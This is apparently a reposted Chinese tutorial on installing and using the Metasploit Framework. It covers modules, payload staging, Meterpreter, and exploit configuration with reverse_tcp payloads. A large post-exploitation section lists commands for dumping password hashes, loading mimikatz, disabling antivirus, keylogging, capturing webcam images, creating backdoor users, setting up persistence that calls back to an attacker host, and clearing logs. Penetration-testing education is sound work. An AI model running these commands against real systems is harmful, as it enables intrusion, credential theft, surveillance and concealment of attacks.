zl程序教程

您现在的位置是:首页 >  其他

当前栏目

【渗透测试框架】Metasploit-Framework(MSF)安装与使用

安装测试框架 渗透 Framework metasploit MSF 使用
2023-09-11 14:17:08 时间


前言

本篇文章主要介绍一下Metasploit-Framework渗透测试工具的基本使用,以及在实际操作中所用的技术点。


一、Metasploit简介

Metasploit Framework(MSF) 是一款开源安全漏洞检测工具,其中附带数千个已知的软件漏洞,并能保持持续更新状态,Metasploit可以用来进行信息收集 漏洞探测漏洞利用、以及后渗透的一些操作,功能强大,刚开始的Metasploit是采用Perl语言编写的,但是后来更新版本后,就换成用Ruby语言来编写了。

在KaLi中集成了Metasploit工具,接下来就介绍该工具的安装以及一些使用方法吧!

二、Metasploit安装及更新

一键安装

工具下载地址:

https://metasploit.com/
https://windows.metasploit.com/

或使用如下命令,即可一键安装

curl https://raw.githubusercontent.com/rapid7/metasploitomnibus/master/config/templates/metasploit-frameworkwrappers/msfupdate.erb > msfinstall

adduser msf  #添加msf用户
su msf      #切换到msf用户
cd /opt/Metasploit-framework/bin  #切换到msf所在的目录
./msfconsole   #以后启动msfconsole,切换到msf用户下启动,这样会同步数据库。如果使用root用户启动的话,不会同步数据库

也可以将msfconsole加入到执行目录下,这样在任何目录直接msfconsole就可以了
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole

更新Metasploit

之前一直用的更新命令:msfupdate
但在新版本的MSF中,这个命令将不适用,输入msfupdate将会出现如下提示
在这里插入图片描述
更新命令:apt update && apt install metasploit-framework
在这里插入图片描述


三、Metasploit数据库连接

MSF默认数据库为Postgresql

开启Postgresql服务器
在这里插入图片描述
启动Postgresql后,使用msfdb init 创建并初始化msf数据库。
在这里插入图片描述
进入MSF框架,使用命令db_status查看当前数据库状态
在这里插入图片描述
每次启动前需要将Postgresql数据库启动:service Postgresql start
在这里插入图片描述


四、Metasploit模块介绍

输入命令ls /usr/share/metasploit-framework/modules -al //查看所有模块
在这里插入图片描述
Exploits 漏洞利用模块,这个模块通常是用于对某些可能存在漏洞的目标进行漏洞利用。
Payloads 攻击载荷,exploit成功之后就会执行payload,这段payload可以是反弹代码,可以是添加用户的代码。
Auxiliary 辅助模块,该模块是用于辅助渗透的,比如端口扫描、存活探测,暴力破解。
Post 后渗透模块,通过bgrun调用,该模块一般用于内网渗透。
Encodes 编码器模块,对payload进行编码加密,可躲过部分AV。
Evasion 躲避模块,该模块分类下只有4个,都是为了躲避微软的限制或者是杀软的,免杀效果很一般(专门针对Windows木马躲避技术)。
Nops 提高payload稳定性及维持大小

Exploit模块

漏洞利用模块(也就是Exploit,俗称Exp)

在Kali中。Exploit攻击模块路径在: ls /usr/share/metasploit-framework/modules/exploits -al
在这里插入图片描述
这里面有针对于WindowsLinuxUnixandroid 等不同平台的 exploit,根据实际情况去选择。

Payload模块

Payload(攻击载荷),所在路径:ls /usr/share/metasploit-framework/modules/payloads -al
在这里插入图片描述
Payload中包含攻击目标系统后在目标主机上运行的恶意代码,在MSF中payload模块是一种特殊模块,它能以漏洞利用模块运行,并针对目标主机存在的安全漏洞实施攻击的操作,而其中运行的代码就是payload在目标主机中一种实施行为。

说到 payload 不得不提及一个专有名词:ShellCode,ShellCode是Payload中的精髓部分,在实施渗透攻击作为攻击载荷运行的一组机器命令。ShellCode通常是用汇编语言编写。在实际情况下,目标系统执行了ShellCode这一组指令之后,才会提供一个命令行Shell。

Payload模块中主要有以下三种类型:

  • Singles
  • Stagers
  • Stages

Singles:是一种完全独立的Payload,而且使用起来就像运行calc.exe一样,例如添加一个系统用户或删除一份文件。由于Singles payload是完全独立的,因此他们有可能会被类似netcat这样的非Metasploit处理工具所捕捉到。

Stagers:这种Payload负责建立目标主机用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(也就是反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(也就是正向通信)

Stages:是Stagers payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 MSF中,我们可以通过Payload的名称和使用格式来推断它的类型:
在这里插入图片描述
Kali终端执行show payloads命令之后,会显示如下payload列表
在这里插入图片描述
在这里插入图片描述
如上图!列表中windows/powershell_bind_tcp就是一个Single Payload,不包含Stage Payload,而windows/meterpreter/reverse_tcp则由一个Stage Payload(meterpreter)和一个Stager Payload(reverse_tcp)组成。

常见的几种 Stagers Payload

Windows/meterpreter/bind_tcp   #正向连接
Windows/meterpreter/reverse_tcp #反向连接
Windows/meterpreter/reverse_http #通过监听80端口反向连接
Windows/meterpreter/reverse_https #通过监听443端口反向连接

正向连接使用场景:攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机。

反向连接使用场景:攻击机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口443端口与外部通信。

在我们实施攻击动作时,由于在目标主机上执行恶意程序或木马,这时,我们的Kali监听就会收到一个meterpreter会话进行后续的渗透工作,那么meterpreter到底是干什么的呢,接下来就介绍一下meterpreter

Meterpreter

工具介绍

在Metasploit-Framework中,Meterpreter是一种后渗透工具,他属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload,Meterpreter属于Stages payload。这种工具是基于“内存DLL注入“理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

工作原理

首先目标先要执行初始的溢出漏洞会话连接,可能是bind正向连接,或者反弹reverse连接。反射连接的时候加载dll链接文件,同时后台悄悄处理dll文件。其次Meterpreter核心代码初始化,通过socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

工具特点

  • Meterpreter完全驻留在内存,没有写入磁盘。
  • Meterpreter注入的时候不会产生新的进程,并可以移植到其它正在运行的进程。
  • 默认情况下,Meterpreter的通信是加密的,具有安全性的。
  • 扩展性,许多新的特性模块可以被加载。

MSF常用参数配置

1.进入框架:msfconsole
2.使用search命令搜索相关漏洞:search 漏洞编号	
3.使用use进入模块:use exploit/windows/……
4.使用info查看模块信息。
5.设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
6.查看模块需要配置的参数:show options
7.查看需要配置但还未配置的参数:show missing
8.参数设置:set Rhost 0.0.0.0、set Rport 端口号
9.执行攻击:exploit/run
10.得到meterpreter会话,执行后渗透阶段。

不同阶段攻击所用的步骤也是不一样的,根据实际情况去配置,做到灵活运用!

在如上的利用方法除外,我们也可以将攻击代码写入到 configure.rc (只要是以.rc结尾的文件)配置文件中,然后使用命令:msfconsole -r configure.rc 执行攻击。


五、Metasploit实战攻击

【漏洞攻击】场景实战:永恒之蓝 MS17-010 远程溢出漏洞(CVE-2017-0143)
【漏洞攻击】场景实战:MS08-067 (CVE-2008-4250) 远程命令执行漏洞

六、后渗透攻击阶段

后渗透常用命令

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载mimikatz
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\a.txt  /root             #将目标机的e:\a.txt文件下载到/root目录下
upload    /root/a.txt d:\test         #将/root/a.txt上传到目标机的 d:\test\ 目录下
getpid              #查看当前Meterpreter Shell的进程PID
migrate 123         #将当前Meterpreter Shell的进程迁移到PID为123的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权,获得的当前用户是administrator才能成功
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频

execute 参数 -f 可执行文件 #执行可执行程序
可选参数如下
在这里插入图片描述
例如:meterpreter>execute -i -f cmd

run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load / run				     #使用扩展库
run persistence -X -i 5 -p xxxx -r xxx.xxx.xx.x      #反弹时间间隔是5s 会自动连接xxx.xxx.xx.x的xxxx端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r xxx.xxx.x.x -p 3389     #将xxx.xxx.x.x的3389端口转发到本地的3389端口上,这里的xxx.xxx.x.x是获取权限的主机的ip地址
clearev                       #清除日志

POST后渗透常用模块

该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。
在这里插入图片描述
Meterpreter所支持的文件系统命令如下:

cd: 切换目标目录;
cat: 读取文件内容;
rm: 删除文件;rm -rf /* 该命令需严谨使用
edit:使用vim编辑文件
ls:获取当前目录下的文件;
mkdir:新建目录;
rmdir:删除目录;

生成持续性后门程序

获取到目标主机 meterpreter会话后,可以短时间对目标主机进行操作,Meterpreter是基于内存DLL建立的连接,所以只要目标主机有关机操作,我们建立的连接就会断开,针对这种情况需要在目标主机留存一个持续性后门,每次开机我们就可以建立连接。

建立持续性后门有两种方法:一种是通过启动项(persistence)、一种是通过服务启动(metsvc)

启动项启动:使用msfvenom生成对应平台木马程序,然后放置在Windows的启动目录下
在这里插入图片描述
这样每次开机就可以通过启动项来启动我们预先设置好的程序,本地建立监听就能收到目标主机的Shell了。

服务启动:run persistence -X -i 5 -p XXXX -r 192.168.X.X #反弹时间间隔是5s 会自动连接192.168.X.X的XXXX端口,缺点是容易被杀毒软件查杀

#然后它就在目标机新建了这个文件:C:\Windows\TEMP*.vbs ,并把该服务加入了注册表中,只要开机就会启动

Metasploit Socks代理

使用工具:portfwd
Portfwd 是 meterpreter 提供的一种基本的端口转发。Portfwd 可以反弹单个端口到本地,并且监听,具体使用格式如下:

portfwd add -l 3389 -r 目标主机ip -p 3389 #将目标主机的3389端口转发到本地的3389端口上。
然后使用:rdesktop 127.0.0.1:3389 即可连接目标主机。

PowerShell脚本(域内信息收集)

load powershell   #加载powershell功能

powershell_import /root/PowerView.ps1   #导入powershell脚本,提前将该powershell脚本放到指定目录

powershell_execute Get-NetDomain     #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块

powershell_execute Invoke-UserHunter     #该功能模块用于定位域管理员登录的主机

powershell_execute Get-NetForest      #该模块用于定位域信息

加载stdapi

但我们得到一个meterpreter会话时,执行一些命令会显示Unknow command,这时我们可以执行:load stdapi来加载,这样就可以执行命令了。
在这里插入图片描述

升级会话Session

当我们收到的不是 meterpreter类型的session会话时,我们可以执行命令session -u id 升级session。执行该命令,默认调用的是 post/multi/manage/shell_to_meterpreter 模块。

Meterpreter更多使用方法

meterpreter>help
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
参考链接:

https://www.fujieace.com/metasploit/tutorials.html
https://blog.csdn.net/qq_36119192/article/details/83215257?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522165330189316782390573440%2522%252C%2522scm%2522%253A%252220140713.130102334.pc%255Fblog.%2522%257D&request_id=165330189316782390573440&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2blogfirst_rank_ecpm_v1~rank_v31_ecpm-6-83215257-null-null.nonecase&utm_term=msf&spm=1018.2226.3001.4450

更多Meterpreter实战小技巧,后续更新!!!